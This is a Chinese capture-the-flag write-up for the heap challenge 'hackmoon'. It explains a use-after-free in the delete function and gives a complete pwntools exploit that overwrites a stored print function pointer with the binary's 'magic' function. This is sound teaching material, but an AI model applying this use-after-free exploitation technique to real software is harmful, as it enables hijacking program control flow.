hackmoon

题目

标准的选项题，有add print delete 功能

add
限制五次分配chunk，会先分配八个字节，分配用来存放一个print_moon_content函数指针及之后为用户分配的chunk指针，同时会在bss段存放为用户分配的chunk指针。 print会检查输入的idx及bss段的指针，在指针存在的情况下，调用该指针处的函数，也就是之前存放的print_moon_content函数指针

```
int __cdecl print_moon_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}
```

delete 会将之前的两个指针依次free，但是其他的什么也没动，存在UAF问题

分析

UAF漏洞很明显，同时指针被放到了堆中，很容易想到利用UAF控制指针即可，又同时，题中给了magic函数，所以想办法让magic函数指针覆盖某个chunk的指针就可以了

exp

```
from pwn import *
context.log_level = 'debug'
sh = process('./hackmoon')
elf = ELF('./hackmoon')

def add(size, content):
    sh.recvuntil('Your choice :')
    sh.sendline('1')
    sh.recvuntil('moon size :')
    sh.sendline(str(size))
    sh.recvuntil('Content :')
    sh.send(content)


def delete(index, ):
    sh.recvuntil('Your choice :')
```

```
    sh.sendline('2')
    sh.recvuntil('Index :')
    sh.sendline(str(index))
    sh.recvuntil('Success\n')
    return


def show(index):
    sh.recvuntil('Your choice :')
    sh.sendline('3')
    sh.recvuntil('Index :')
    sh.sendline(str(index))

magic= 0x8048986
add(0x8,'aaaaaaa')
add(0x8,'bbbbbbb')
delete(1)
delete(0)
add(0x20,'ccccccccc')
add(0x8,'deadbeef')
delete(3)
delete(2)
add(0x8,p32(magic)*2)
show(3)
#gdb.attach(sh)
sh.interactive()
```